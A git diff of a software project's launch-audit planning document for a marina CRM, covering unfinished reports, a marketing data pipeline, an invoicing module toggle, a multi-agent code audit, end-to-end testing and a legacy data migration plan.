|
|
||||||
|
#### Phase 2 — Sales report gaps
|
||||||
|
|
||||||
|
- ✅ **Operational-style filter set on Sales** — stage / lead-cat /
|
||||||
|
outcome + period comparison + rep multi-select + source multi-select
|
||||||
|
all shipped (rep/source in b97f6e94). Sales filter set is complete.
|
||||||
|
|
||||||
|
#### Phase 2 — Operational report gaps
|
||||||
|
|
||||||
|
- ⚠️ **Operational-specific filters**: **Area SHIPPED (2026-06-02)** —
|
||||||
|
a berth-area scope (`parseOperationalFilters` +
|
||||||
|
`getOperationalAreaOptions`, threaded through the 5 berth-derived
|
||||||
|
service fns) re-queries the berth-count KPIs, occupancy-by-area,
|
||||||
|
utilisation heatmap, and vacant lists for the selected areas; trend +
|
||||||
|
tenancy/signing/docs panels stay port-wide with a "scoped to {areas}"
|
||||||
|
caption. Browser-verified (area A: total berths 117→11). **Status /
|
||||||
|
tenure type / document type deferred** — Status proved a light filter
|
||||||
|
here (can't retro-apply to historical trend charts; the vacant lists
|
||||||
|
are available-by-definition); see
|
||||||
|
`docs/superpowers/specs/2026-06-02-reports-polish-design.md`.
|
||||||
|
|
||||||
|
#### Phase 3 — Marketing report (LAUNCH-BLOCK if Marketing is in beta scope)
|
||||||
|
|
||||||
|
Not built. Spec at `docs/reports-content-spec.md` § Report 03 calls for:
|
||||||
|
|
||||||
|
- 6 KPIs (inquiries, inquiry→interest %, inquiry→EOI %, inquiry→won %,
|
||||||
|
top source, avg time-to-respond)
|
||||||
|
- 6 charts (inquiries by source donut, source ROI stacked bar, full
|
||||||
|
funnel, conversion trend, country geo map via `react-simple-maps`,
|
||||||
|
time-to-respond histogram)
|
||||||
|
- 3 tables (top-converting sources, recent inquiries, stuck inquiries)
|
||||||
|
- Filters: specific source, mooring, UTM campaign
|
||||||
|
|
||||||
|
**Blocker:** depends on the website actually sending UTM params (Init
|
||||||
|
1b step 4 — CRM-side shipped, website-side pending) AND on inquiry
|
||||||
|
data flowing from the new intake endpoint (Init 1b step 1 — pending
|
||||||
|
website env flip).
|
||||||
|
|
||||||
|
#### Phase 4 — Financial report ✅ SHIPPED in b690fb8d
|
||||||
|
|
||||||
|
**Decision taken (2026-06-02):** ship on the canonical `payments` +
|
||||||
|
`expenses` tables; invoices module stays OFF. The invoice-centric spec
|
||||||
|
(§ Report 02) was reframed onto the payments model so the report is
|
||||||
|
populated rather than 90% empty:
|
||||||
|
|
||||||
|
- 7 KPIs: revenue collected (net of refunds), deposits, balance,
|
||||||
|
pipeline (expected deposits), outstanding deposits (expected−collected
|
||||||
|
on open deals = the AR analogue), expenses, net contribution.
|
||||||
|
- 6 charts: revenue by month (deposit/balance, with month/quarter/year
|
||||||
|
toggle), collection funnel (EOI → deposit → contract → won),
|
||||||
|
outstanding deposits by deal age (AR-aging analogue, no invoice due
|
||||||
|
dates exist), cash flow (inflow vs outflow), expense breakdown donut.
|
||||||
|
- 4 tables: outstanding deposits, recent payments, refund/write-off log,
|
||||||
|
expense ledger.
|
||||||
|
- All money normalised to port currency; 1y default range; templates +
|
||||||
|
CSV/XLSX/PDF export.
|
||||||
|
|
||||||
|
**Follow-up (deferred, not launch-blocking):** if the user later flips
|
||||||
|
the invoices module ON, add invoice-sourced AR (due dates → true aging)
|
||||||
|
|
||||||
|
- the invoice/payment-status/billing-entity filters from the original
|
||||||
|
spec. Browser-verified against live data (0 payment rows in dev → revenue
|
||||||
|
$0 correct; 165 expenses populate the expense surfaces).
|
||||||
|
|
||||||
|
#### Phase 5 — Custom builder gaps
|
||||||
|
|
||||||
|
v1 ships 4 entities; full spec wants 10 + advanced composition.
|
||||||
|
|
||||||
|
- ❌ **Missing entities**: yachts, companies, invoices, expenses,
|
||||||
|
documents, websiteSubmissions, payments. Each is a registry-only
|
||||||
|
extension — add a `CustomEntityDefinition` to
|
||||||
|
`src/lib/reports/custom/registry.ts`. ~30 min per entity.
|
||||||
|
- ❌ **Filters beyond date range** — spec wants per-column filter rows
|
||||||
|
(column → operator → value, AND/OR between rows). Today only the
|
||||||
|
date range filter exists.
|
||||||
|
- ❌ **Group by + aggregate** — single group-by dimension + per-column
|
||||||
|
aggregate (count / sum / avg / min / max). Today only a flat list.
|
||||||
|
- ❌ **Column sort** — pick a column + direction. Today rows return
|
||||||
|
with the registry's hardcoded `orderBy`.
|
||||||
|
- ❌ **Live preview as you build** — spec wants debounced re-render on
|
||||||
|
filter / column change. Today the rep clicks "Run query" to fetch.
|
||||||
|
- ❌ **Column whitelist per role** — PII columns (`email`, `phone`)
|
||||||
|
should be gated by `clients.view_pii`. Today all listed columns are
|
||||||
|
available to anyone with `reports.export`.
|
||||||
|
- ❌ **Run-once vs Save-as-template** — the spec asks for three buttons
|
||||||
|
on save (Run once / Save as template / Update existing). Today only
|
||||||
|
the template-save path exists.
|
||||||
|
|
||||||
|
#### Phase 6 — Scheduled runs gaps
|
||||||
|
|
||||||
|
- ❌ **Custom cron strings** — three hardcoded cadences (weekly Mon 9 ·
|
||||||
|
monthly 1st 9 · quarterly 1st 9). Spec implies arbitrary cron.
|
||||||
|
`nextRunFor` in `report-schedules.service.ts` switches on the enum;
|
||||||
|
extend to support a `cron_expression` mode.
|
||||||
|
- ❌ **Scheduled CSV / XLSX** — only PDF is wired through the worker
|
||||||
|
(`renderStandaloneReportRun` in `report-render.service.ts`). For
|
||||||
|
CSV/XLSX, the worker would need to either run the existing client-side
|
||||||
|
exporter server-side (drop ExcelJS into the worker bundle) or build
|
||||||
|
format-specific server renderers.
|
||||||
|
|
||||||
|
#### Phase 7 — Templates gaps
|
||||||
|
|
||||||
|
- ❌ **"Modified ●" indicator** — when the rep changes view state after
|
||||||
|
loading a template, the active-template badge currently just clears.
|
||||||
|
Spec wants a visible "modified" marker so they know they've drifted.
|
||||||
|
- ❌ **Personal vs port-wide scope** — schema has the `visibility`
|
||||||
|
column with `'private' | 'team'` but the UI always saves as port-wide.
|
||||||
|
The Save dialog needs a scope picker.
|
||||||
|
- ❌ **"Owned by" attribution** — templates with `visibility='team'`
|
||||||
|
should show creator name. Schema captures `createdBy`; UI doesn't
|
||||||
|
surface it.
|
||||||
|
- ❌ **Promote-to-port-wide affordance** — once shipped, a "Share with
|
||||||
|
team" action on personal templates that flips visibility.
|
||||||
|
|
||||||
|
#### Net launch-readiness for reports
|
||||||
|
|
||||||
|
If the launch scope is **Sales + Operational only**, reports are
|
||||||
|
launch-ready with the polish items above as post-launch follow-ups.
|
||||||
|
|
||||||
|
If the launch scope includes **Marketing + Financial**, both reports
|
||||||
|
need to be built AND their data plumbing finished (Init 1b website
|
||||||
|
flip + UTM forwarding for Marketing; invoices module + rep training
|
||||||
|
for Financial).
|
||||||
|
|
||||||
|
The cross-cutting filter set (period comparison, rep / source
|
||||||
|
multi-select, empty-state copy) is the highest-value polish that's
|
||||||
|
visible on every report — call it ~6-8 hours of work spread across
|
||||||
|
both shipped report pages + the shared FilterBar component.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Initiative 1b — Marketing data pipeline cutover
|
||||||
|
|
||||||
|
**Status:** OPEN · Blocks the Marketing report
|
||||||
|
|
||||||
|
The CRM has the **full infrastructure** for marketing intake +
|
||||||
|
attribution; it's just not connected end-to-end.
|
||||||
|
|
||||||
|
What's built:
|
||||||
|
|
||||||
|
- **Email-open pixel tracking**: `src/app/api/public/email-pixel/[sendId]/route.ts`
|
||||||
|
- `src/lib/email/tracking-pixel.ts`. Sales sends with
|
||||||
|
`trackOpens=true` get a 1×1 pixel; opens record to
|
||||||
|
`email_send_opens` and cross-post to Umami.
|
||||||
|
- **Umami integration**: `@umami/node` installed; `src/lib/services/umami.service.ts`
|
||||||
|
is the wrapper. Outcome events (EOI sent, deposit received, etc.)
|
||||||
|
already cross-post into Umami.
|
||||||
|
- **Website inquiry intake endpoint**: `/api/public/website-inquiries`
|
||||||
|
in the CRM, paired with `/api/public/residential-inquiries`. Both
|
||||||
|
validate + dual-write into `website_submissions`.
|
||||||
|
- **Website posting code**: `Port Nimara/Website/server/utils/crmIntake.ts:72`
|
||||||
|
has the matching POST. Just needs the env var to point at the new
|
||||||
|
CRM.
|
||||||
|
|
||||||
|
What's NOT connected yet:
|
||||||
|
|
||||||
|
1. **Website env `CRM_INTAKE_URL`** still points at the old portal (or
|
||||||
|
isn't set). Flipping this is a ~5-min config change inside the
|
||||||
|
website Nuxt deploy. After flip, every website inquiry lands in
|
||||||
|
`website_submissions` + auto-routes to the inquiry-triage queue.
|
||||||
|
2. **Backfill of historical inquiries** from the old portal so the
|
||||||
|
Marketing report has launch-day history rather than starting from
|
||||||
|
zero. Reads from `client_portal_v2`'s inquiry table, inserts into
|
||||||
|
`website_submissions` with original `receivedAt` timestamps,
|
||||||
|
re-links to existing CRM clients via dedup (email/phone).
|
||||||
|
3. **Umami funnel events on the marketing site itself**. The Umami
|
||||||
|
project exists; what's unclear is whether the marketing site is
|
||||||
|
firing `event:` calls on key actions (form submitted, brochure
|
||||||
|
downloaded, virtual-tour started). Audit needed.
|
||||||
|
4. **UTM column wiring**. ✅ CRM-side SHIPPED — migration `0089_website_submissions_utm.sql`
|
||||||
|
adds `utm_source / utm_medium / utm_campaign / utm_term / utm_content`
|
||||||
|
to `website_submissions` plus a `(port_id, utm_source, received_at)`
|
||||||
|
composite index for per-campaign rollups. `/api/public/website-inquiries`
|
||||||
|
accepts the five fields in the request body and persists them on
|
||||||
|
insert. **Pending website-side change**: the marketing site's
|
||||||
|
`crmIntake.ts` POST must forward UTM params from the form's query
|
||||||
|
string / cookies. **Pending residential parity**: residential
|
||||||
|
inquiries (`/api/public/residential-inquiries`) don't go through
|
||||||
|
`website_submissions`; if Marketing report needs UTM attribution on
|
||||||
|
residential leads too, add the same columns to `residential_clients`
|
||||||
|
in a follow-up.
|
||||||
|
|
||||||
|
Sequencing:
|
||||||
|
|
||||||
|
- Step 1 is the cutover unblock (do during launch window itself).
|
||||||
|
- Step 2 is part of Initiative 5 (data migration).
|
||||||
|
- Step 3 is a website-side audit (Initiative 3).
|
||||||
|
- Step 4 is a small CRM-side schema add (one migration + 4 column
|
||||||
|
reads). Decision pending: ship at launch or defer to Phase 2.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Initiative 1c — Invoicing audit-and-finish
|
||||||
|
|
||||||
|
**Status:** SPIKE COMPLETE · Module-toggle shipped · Financial report deferred
|
||||||
|
|
||||||
|
### Audit findings (2026-05-27 spike)
|
||||||
|
|
||||||
|
The CRM has two parallel money-receiving flows in active code:
|
||||||
|
|
||||||
|
1. **`payments` table — canonical, in active use.** Schema comment at
|
||||||
|
`src/lib/db/schema/pipeline.ts:75` is unambiguous: "The CRM does
|
||||||
|
NOT generate invoices — clients pay banks directly. We record that
|
||||||
|
money was received." Linked to `interests`. `recordPayment`
|
||||||
|
auto-advances pipeline to `deposit_paid` when the cumulative
|
||||||
|
deposit total hits `depositExpectedAmount`. This is the surface
|
||||||
|
reps actually use; payments are recorded from the per-interest
|
||||||
|
**Payments** tab.
|
||||||
|
2. **`invoices` + `invoice_line_items` table — orphaned in the UI.**
|
||||||
|
Full builder (line items, PDF, send, mark-paid) exists at
|
||||||
|
`/[portSlug]/invoices/new`. The sidebar nav entry was removed
|
||||||
|
earlier; only the page itself can link to `invoices/new`. Dev DB
|
||||||
|
has zero rows. The standalone surface is parallel infrastructure
|
||||||
|
for the rare case where an operator wants to invoice a client
|
||||||
|
directly from the CRM, plus the employee-expense-report flow
|
||||||
|
(`expenses → invoices` PDF).
|
||||||
|
|
||||||
|
### Decision (per the existing "intentionally manual elsewhere" branch)
|
||||||
|
|
||||||
|
Ship a port-level module toggle, default OFF, identical pattern to
|
||||||
|
the Tenancies and Expenses toggles. The Financial report stays
|
||||||
|
deferred from launch since the canonical Payments tab feeds the
|
||||||
|
Sales report (which is shipping) — separate Financial dashboard adds
|
||||||
|
no value when there's no second money-receiving flow.
|
||||||
|
|
||||||
|
**What shipped (2026-05-27):**
|
||||||
|
|
||||||
|
- `system_settings` registry entry `invoices_module_enabled` (boolean,
|
||||||
|
port-scoped, default `false`) — added to
|
||||||
|
`src/lib/settings/registry.ts`.
|
||||||
|
- New module-gate service `src/lib/services/invoices-module.service.ts`
|
||||||
|
with `isInvoicesModuleEnabled(portId)` (same shape as
|
||||||
|
`isExpensesModuleEnabled`).
|
||||||
|
- Layout-level guard at `src/app/(dashboard)/[portSlug]/invoices/layout.tsx`
|
||||||
|
— every `/invoices/*` route renders `<ModuleDisabledPage>` when the
|
||||||
|
port hasn't opted in. Admins can flip on from Admin → Settings;
|
||||||
|
historical rows preserved.
|
||||||
|
|
||||||
|
**What's NOT changed:**
|
||||||
|
|
||||||
|
- API endpoints (`/api/v1/invoices/*`) still respond — historical PDF
|
||||||
|
links + send-flow webhooks keep resolving regardless of the toggle.
|
||||||
|
- The `payments` flow is untouched and continues to be the canonical
|
||||||
|
money-received path.
|
||||||
|
- The expense → invoice flow (employee expense reports) is
|
||||||
|
unaffected since employee-expense PDFs flow through a different
|
||||||
|
surface (`/expenses`) that lives behind its own module gate.
|
||||||
|
|
||||||
|
**Follow-up:** if the user later wants per-port branded
|
||||||
|
client-facing invoicing from inside the CRM, the surface is ready to
|
||||||
|
turn on with no schema work — just flip `invoices_module_enabled = true`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Initiative 2 — Multi-agent codebase audit
|
||||||
|
|
||||||
|
**Status:** ✅ COMPLETE (2026-06-02) — audit + full remediation shipped.
|
||||||
|
17-lane multi-agent audit (3 workflow passes + adversarial verification +
|
||||||
|
completeness critic) produced **85 distinct findings** (4 CRITICAL / 17
|
||||||
|
HIGH / 29 MEDIUM / 35 LOW), all triaged and remediated across 28
|
||||||
|
`fix(audit)` commits; 84 fixed, L21 verified a false positive. tsc-clean,
|
||||||
|
1103/1103 unit tests green. Two DB-schema migrations (M23 invoice
|
||||||
|
`numeric(12,2)`, M25 `client_contacts` email unique index) deferred with
|
||||||
|
their code fixes shipped. Full report + per-finding fix mapping:
|
||||||
|
**`docs/audits/2026-06-02/findings-master.md`** (§ Remediation status).
|
||||||
|
|
||||||
|
User ask: "deep, multi-agent audit of all routes, naming, text, UX, and
|
||||||
|
… dig through the entire code of everything in the system (especially
|
||||||
|
related to the sales process) and find any issues in the logic or how
|
||||||
|
the functionality interacts with each other, how data is shared and
|
||||||
|
persists where needed. Also a deep security audit."
|
||||||
|
|
||||||
|
Audit dimensions (use one specialised agent per dimension, in parallel):
|
||||||
|
|
||||||
|
| # | Dimension | Specialised agent | Output |
|
||||||
|
| --- | ----------------------------- | ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||||
|
| 1 | **Sales pipeline logic** | `feature-dev:code-explorer` | Trace every stage transition; verify auto-advance rules, EOI gating, deposit handling, contract signing. Look for stale enum references (the 9→7 stage migration left some bugs). |
|
||||||
|
| 2 | **Cross-entity data flow** | `feature-dev:code-explorer` | Map polymorphic ownership (yacht/company), interest_berths (multi-berth), document folders (aggregated projection), notes (4-table dispatch). Find divergence between docs and code. |
|
||||||
|
| 3 | **Security** | `security-review` (existing skill) | OWASP API Top 10, auth bypass, IDOR, injection, secret leakage, GDPR exposure. Multi-tenant boundary checks (port_id at every join). |
|
||||||
|
| 4 | **API surface consistency** | `code-review:code-review` | `{ data: T }` envelope adherence, `errorResponse(error)` usage, `parseBody(req, schema)` usage, 204 vs JSON, withAuth+withPermission composition. |
|
||||||
|
| 5 | **UI/UX consistency** | `frontend-design:frontend-design` review | Visual inconsistencies, copy/text issues, accessibility, mobile parity, brand drift, em-dashes, generic SaaS slop. |
|
||||||
|
| 6 | **Schema vs code divergence** | `feature-dev:code-explorer` | Migrations vs Drizzle schema files vs service helpers — find any column the DB has that no service touches, or any service field with no migration. |
|
||||||
|
| 7 | **Documenso integration** | `feature-dev:code-explorer` | Full v1↔v2 path coverage, webhook idempotency, template field mapping, EOI generation (both pathways), error recovery. |
|
||||||
|
| 8 | **Storage & file lifecycle** | `feature-dev:code-explorer` | S3↔filesystem switching, file orphans, signed-URL expiry, GDPR export coverage, magic-byte validation everywhere. |
|
||||||
|
|
||||||
|
Coordination:
|
||||||
|
|
||||||
|
- Use a **single coordinator session** that fans out via `Agent` /
|
||||||
|
`TaskCreate` with `subagent_type` set per dimension. Each agent writes
|
||||||
|
findings to a per-dimension scratch file under
|
||||||
|
`docs/audits/2026-05-27/<dimension>.md`, then the coordinator
|
||||||
|
consolidates into a single triage doc with severity tags.
|
||||||
|
- Pass `model: "opus"` on every agent spawn — Sonnet/Haiku context
|
||||||
|
windows compact too fast under MCP baseline (per memory
|
||||||
|
`feedback_subagent_context_bloat`).
|
||||||
|
|
||||||
|
Output: `docs/audits/2026-05-27/findings-master.md` with per-finding
|
||||||
|
severity (`CRITICAL | HIGH | MED | LOW`), file:line refs, and
|
||||||
|
recommended fix. Critical + High get fixed before launch.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Initiative 3 — Marketing website integration
|
||||||
|
|
||||||
|
**Status:** OPEN · Needs scope clarification
|
||||||
|
|
||||||
|
User ask: "make our relevant edits to the marketing website to prepare
|
||||||
|
for the deployment and integration of our new system."
|
||||||
|
|
||||||
|
The marketing site lives in `/Users/matt/Repos/Port Nimara/Website`
|
||||||
|
(separate Nuxt repo). Integration touch points the CRM exposes today:
|
||||||
|
|
||||||
|
- **`/api/public/berths`** + **`/api/public/berths/[mooringNumber]`** —
|
||||||
|
feeds the marketing site's berth list / detail. Status precedence
|
||||||
|
Sold > Under Offer > Available is already wired.
|
||||||
|
- **`/api/public/health`** — dual-mode health check; the website should
|
||||||
|
call the authenticated variant (with `WEBSITE_INTAKE_SECRET`) on
|
||||||
|
startup so it refuses to start when pointed at the wrong CRM env.
|
||||||
|
- **`/api/public/website-inquiries`** — intake endpoint for the contact
|
||||||
|
form; dual-writes inquiry into the CRM.
|
||||||
|
- **Inquiry email ownership** — at cutover, inquiry emails move from
|
||||||
|
the website to the CRM (per memory
|
||||||
|
`project_email_ownership_at_cutover`). Templates + settings keys
|
||||||
|
already exist; berth public endpoint + admin recipient UI still
|
||||||
|
needed (per existing memory).
|
||||||
|
- **Cover photography + branding assets** — the new system uses
|
||||||
|
`branding_email_background_url` etc.; ensure the website assets
|
||||||
|
match.
|
||||||
|
|
||||||
|
Open work (needs user input on priority):
|
||||||
|
|
||||||
|
- Wire the website's contact form to `/api/public/website-inquiries`
|
||||||
|
with the new payload shape.
|
||||||
|
- Add the `WEBSITE_INTAKE_SECRET` to the website's env, point at the
|
||||||
|
authenticated `/api/public/health`.
|
||||||
|
- Update berth-detail page to consume the new `/api/public/berths/...`
|
||||||
|
shape (the JSON mirrors the legacy NocoDB shape so this should be
|
||||||
|
a no-op — VERIFY).
|
||||||
|
- Replace any hard-coded "noreply@portnimara.com" sender on the
|
||||||
|
website side with the CRM-controlled From address (so per-port
|
||||||
|
branding wins).
|
||||||
|
- Confirm the website's caching headers don't fight ours
|
||||||
|
(`s-maxage=300, stale-while-revalidate=60` on berth endpoints).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Initiative 4 — End-to-end testing
|
||||||
|
|
||||||
|
**Status:** OPEN · Needs scope clarification
|
||||||
|
|
||||||
|
User ask: "end to end testing of all sales functions, generating
|
||||||
|
EOIs/documents (especially), ensuring all UX/UI is fluid, beautiful,
|
||||||
|
relevant and helps the user go through the sales process effortlessly."
|
||||||
|
|
||||||
|
Existing infrastructure (per `CLAUDE.md`):
|
||||||
|
|
||||||
|
- `tests/e2e/smoke` — fast click-through (~10 min, ~125 specs)
|
||||||
|
- `tests/e2e/exhaustive` — deeper UI coverage
|
||||||
|
- `tests/e2e/destructive` — archive/delete/cancel paths
|
||||||
|
- `tests/e2e/realapi` — opt-in real Documenso + IMAP round-trip
|
||||||
|
- `tests/e2e/visual` — pixel-diff baselines
|
||||||
|
|
||||||
|
Pre-launch test gaps to fill (proposed):
|
||||||
|
|
||||||
|
1. **End-to-end sales journey** (single Playwright spec, real-API): new
|
||||||
|
inquiry → qualified → EOI generated (Documenso) → client signs →
|
||||||
|
developer countersigns → reservation → deposit recorded → contract
|
||||||
|
generated → contract signed → tenancy auto-created → berth marked
|
||||||
|
sold. Assert every stage transition + every email fires.
|
||||||
|
2. **EOI generation parity** between both pathways (in-app
|
||||||
|
`fill-eoi-form` vs Documenso template). Same `EoiContext` should
|
||||||
|
produce equivalent PDFs.
|
||||||
|
3. **Multi-berth EOI rendering** — berth range formatter assertion
|
||||||
|
(`A1-A3, B5-B7` from `interest_berths`).
|
||||||
|
4. **Documenso webhook idempotency** — replay the same `DOCUMENT_COMPLETED`
|
||||||
|
webhook three times; assert single `files.folder_id` write + no
|
||||||
|
duplicate audit-log rows.
|
||||||
|
5. **Storage backend swap** — switch port to filesystem, generate EOI,
|
||||||
|
verify file lands; switch back to S3, confirm migrate script moves
|
||||||
|
the blob correctly.
|
||||||
|
6. **Visual snapshot refresh** for the new Reports UI + back-button
|
||||||
|
smart-back changes (this conversation).
|
||||||
|
7. **Mobile parity** for the entire sales journey (different Playwright
|
||||||
|
project or `--config` variant).
|
||||||
|
|
||||||
|
Each gap above becomes one or two new spec files. Coordinate with
|
||||||
|
Initiative 2's audit so we don't double-test.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Initiative 5 — Data migration (legacy → new)
|
||||||
|
|
||||||
|
**Status:** OPEN · High effort · Likely blocker for cutover
|
||||||
|
|
||||||
|
> **Infra cutover plan:** `docs/deployment-plan.md` — prod deploy of the CRM
|
||||||
|
> to `crm.portnimara.com` (nginx + certbot + registry-image compose),
|
||||||
|
> Gitea/CI access, and the Documenso backup + safe-upgrade procedure. Access
|
||||||
|
> (SSH + Gitea API) established 2026-05-31; no prod changes without explicit
|
||||||
|
> approval. Deployment creds in `private/deployment-creds.md` (gitignored).
|
||||||
|
|
||||||
|
User ask: "start pulling all existing prod data from the old system and
|
||||||
|
connected systems (we'll have to backfill the EOIs by pulling them
|
||||||
|
through MinIO — it's a fucking mess so I'll really need your help
|
||||||
|
automating/speeding up that process) and initiate a preliminary switch
|
||||||
|
over."
|
||||||
|
|
||||||
|
Sources to drain:
|
||||||
|
|
||||||
|
| Source | Storage | Entities | Notes |
|
||||||
|
| ------------------------------- | ------------------ | -------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
|
||||||
|
| Old NocoDB tables | Postgres / NocoDB | Clients, yachts, companies, interests, berths, EOIs (metadata) | Already imported in earlier migration; verify currency vs prod NocoDB. |
|
||||||
|
| Old portal (`client_portal_v2`) | Nuxt + Postgres | Portal users, signing history, sent invitations | Need to confirm what hasn't been migrated yet. |
|
||||||
|
| MinIO (legacy bucket) | Object storage | EOI PDFs (signed + unsigned), receipts, contracts | The "fucking mess" — naming is inconsistent, organisation unclear, need to map each blob back to its CRM entity. |
|
||||||
|
| Documenso v1 (live) | Documenso server | In-flight signing envelopes + signed PDFs | Migration question: do we cut new EOIs to v2 and let v1 envelopes finish, or migrate the in-flight? |
|
||||||
|
| Email archives | IMAP / mail server | Inquiry replies, signing reminders, deposit confirmations | Probably out of scope for cutover (read-only history). |
|
||||||
|
|
||||||
|
Migration script plan (write under `scripts/migration/`):
|
||||||
|
|
||||||
|
1. **`probe-minio.ts`** — scan the legacy MinIO bucket, list every blob,
|
||||||
|
try to extract a client / interest / berth identifier from filename
|
||||||
|
patterns. Produce `docs/migration/minio-blob-inventory.csv` with
|
||||||
|
`key, size_bytes, mime, probable_entity_type, probable_entity_id, confidence`.
|
||||||
|
2. **`backfill-eoi-pdfs.ts`** — for each inventoried blob with confidence
|
||||||
|
≥ HIGH, copy from legacy MinIO into the new storage backend, create a
|
||||||
|
matching `files` row + `documents` row, deposit into the right
|
||||||
|
entity folder via the existing `ensureEntityFolder` helper. Idempotent
|
||||||
|
via `legacy_minio_key` column (add via migration if missing).
|
||||||
|
3. **`reconcile-nocodb.ts`** — diff the live NocoDB tables against our
|
||||||
|
imported state; report rows added/changed/deleted since last import.
|
||||||
|
4. **`preflight-cutover.sh`** — orchestrator script that runs the three
|
||||||
|
above in order, writes a final report.
|
||||||
|
|
||||||
|
Cutover plan:
|
||||||
|
|
||||||
|
1. Freeze writes on the old system (NocoDB read-only, portal
|
||||||
|
maintenance page).
|
||||||
|
2. Run `preflight-cutover.sh` against frozen sources.
|
||||||
|
3. Manual reconciliation of probe-minio rows where confidence < HIGH
|
||||||
|
(likely a few hundred blobs — the user explicitly flagged this is
|
||||||
|
manual labour, automation helps but doesn't replace it).
|
||||||
|
4. DNS / website pointer flip.
|
||||||
|
5. Watch error_events for 24h; rollback plan = re-enable old system
|
||||||
|
writes and stop the cutover commit.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Cross-initiative open questions
|
||||||
|
|
||||||
|
- **When to wrap the launch audit doc.** I'd suggest: after Initiative
|
||||||
|
2's findings are triaged AND Initiatives 3-5 reach IN PROGRESS. At
|
||||||
|
that point this file becomes the launch-day-runbook.
|
||||||
|
- **Who's the launch sponsor / decision-maker?** Different from
|
||||||
|
"user / matt"? Affects who signs off on cutover.
|
||||||
|
- **Soft launch vs hard cutover?** Hard cutover is simpler operationally
|
||||||
|
but risky; soft launch (parallel writes for a week) is safer but
|
||||||
|
requires the old system to keep accepting writes for longer.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2026-06-01 — Feature-completeness sweep & launch-prep decisions
|
||||||
|
|
||||||
|
A read-only sweep (ahead of the ~same-day launch) checked the whole
|
||||||
|
platform for half-built / stubbed surfaces beyond the known Reports
|
||||||
|
gaps. It resolved two stale-doc contradictions: **Documenso signing
|
||||||
|
phases 2–7 are fully built and wired** (`BACKLOG.md` §A is stale on
|
||||||
|
this), and the **interest Contract/Reservation tabs are fully built**
|
||||||
|
(not "coming soon" cards). Findings + decisions below.
|
||||||
|
|
||||||
|
**Decision (per Matt, 2026-06-01):** launch is ~today, so **ship what's
|
||||||
|
done, hide what's not, defer the big builds** — do NOT revert to the old
|
||||||
|
desktop-spreadsheet reports (a downgrade), and do NOT rush the
|
||||||
|
unproven full builds onto a same-day prod launch.
|
||||||
|
|
||||||
|
### Shipped today (launch-prep, low-risk; SHIPPED)
|
||||||
|
|
||||||
|
- **Hid Financial + Marketing report cards** from the reports landing
|
||||||
|
(`reports/page.tsx`) — both were "Builder in development" placeholders
|
||||||
|
gated on unbuilt data sources (Init 1b/1c). The reports section ships
|
||||||
|
with the working **Sales + Operational + Custom** reports + templates +
|
||||||
|
scheduling + PDF/CSV/Excel exports. The basic Custom builder already
|
||||||
|
covers the old desktop-report use case (entity + columns + date range +
|
||||||
|
export) — parity-plus, not a regression.
|
||||||
|
- **Trimmed the Custom-report card copy** so it stops promising
|
||||||
|
group-by/filters/dimensions it doesn't yet have (the builder page
|
||||||
|
header was already honest).
|
||||||
|
- **Hid the Bulk Import mockup** from nav + search
|
||||||
|
(`admin-sections-browser.tsx`, `search-nav-catalog.ts`). The static
|
||||||
|
`/admin/import` mockup is now unreachable from the UI (route still
|
||||||
|
resolves by direct URL).
|
||||||
|
- **Corrected client-facing doc over-claims** in `features-list.md` +
|
||||||
|
`new-system-feature-summary.md` (removed the waiting-list
|
||||||
|
"next-in-line notification" claim — built but hidden; removed Import
|
||||||
|
from the admin-pages list, 43→42).
|
||||||
|
|
||||||
|
### Deferred to post-launch (tracked here; none launch-blocking)
|
||||||
|
|
||||||
|
- **Full Bulk CSV/XLSX importer** — design APPROVED + spec written:
|
||||||
|
`docs/superpowers/specs/2026-06-01-bulk-import-design.md` (generic
|
||||||
|
engine + per-entity adapter registry; 7 entities; column-mapping,
|
||||||
|
dry-run, dedup, per-batch undo). Cutover data migration runs through
|
||||||
|
the existing CLI scripts (`import-berths-from-nocodb.ts` + the
|
||||||
|
Initiative 5 migration scripts), so the UI importer is **not needed
|
||||||
|
for launch**.
|
||||||
|
- **Full Custom-report builder** — group-by + aggregates, sort,
|
||||||
|
per-column filter rows (AND/OR), debounced live preview, the remaining
|
||||||
|
6 of 10 entities, per-role PII column whitelist. Architecture decided
|
||||||
|
(per-column expression map + generic Drizzle query composer); spec
|
||||||
|
deferred. Basic builder ships as-is.
|
||||||
|
- **Berth Waiting List** — ✅ **SHIPPED in 8be7a6e2.** `WaitingListManager`
|
||||||
|
tab un-hidden + wired. _Still deferred: the availability-triggered
|
||||||
|
next-in-line notification (today only a `notifyPref` column is stored;
|
||||||
|
no sender exists)._
|
||||||
|
- **Berth Maintenance Log** — ✅ **SHIPPED in 8be7a6e2.** UI tab mirroring
|
||||||
|
the waiting-list manager, on the existing API + service.
|
||||||
|
- **Contract/Reservation paper-upload misroute (BUG)** — ✅ **SHIPPED in
|
||||||
|
d98aa5cc.** Added contract/reservation paper-upload endpoints +
|
||||||
|
pointed `ExternalEoiUploadDialog` at the right one per docType, so a
|
||||||
|
paper-signed contract/reservation no longer files as an EOI.
|
||||||
|
- **Marketing + Financial reports** — remain unbuilt + now hidden; gated
|
||||||
|
on Init 1b (website UTM/inquiry cutover) and Init 1c (invoices-module
|
||||||
|
decision) respectively.
|
||||||
37
docs/marketing-site-followups.md
Normal file
37
docs/marketing-site-followups.md
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
# Marketing-site followups
|
||||||
|
|
||||||
|
Items that require edits to the **separate marketing-site repo** (port-nimara.com / portnimara.com), not the CRM. These can't ship from this codebase; they're parked here so they don't get lost when we drain the CRM audit doc.
|
||||||
|
|
||||||
|
Last updated: 2026-05-26.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Umami analytics — Phases 4a, 3, 5
|
||||||
|
|
||||||
|
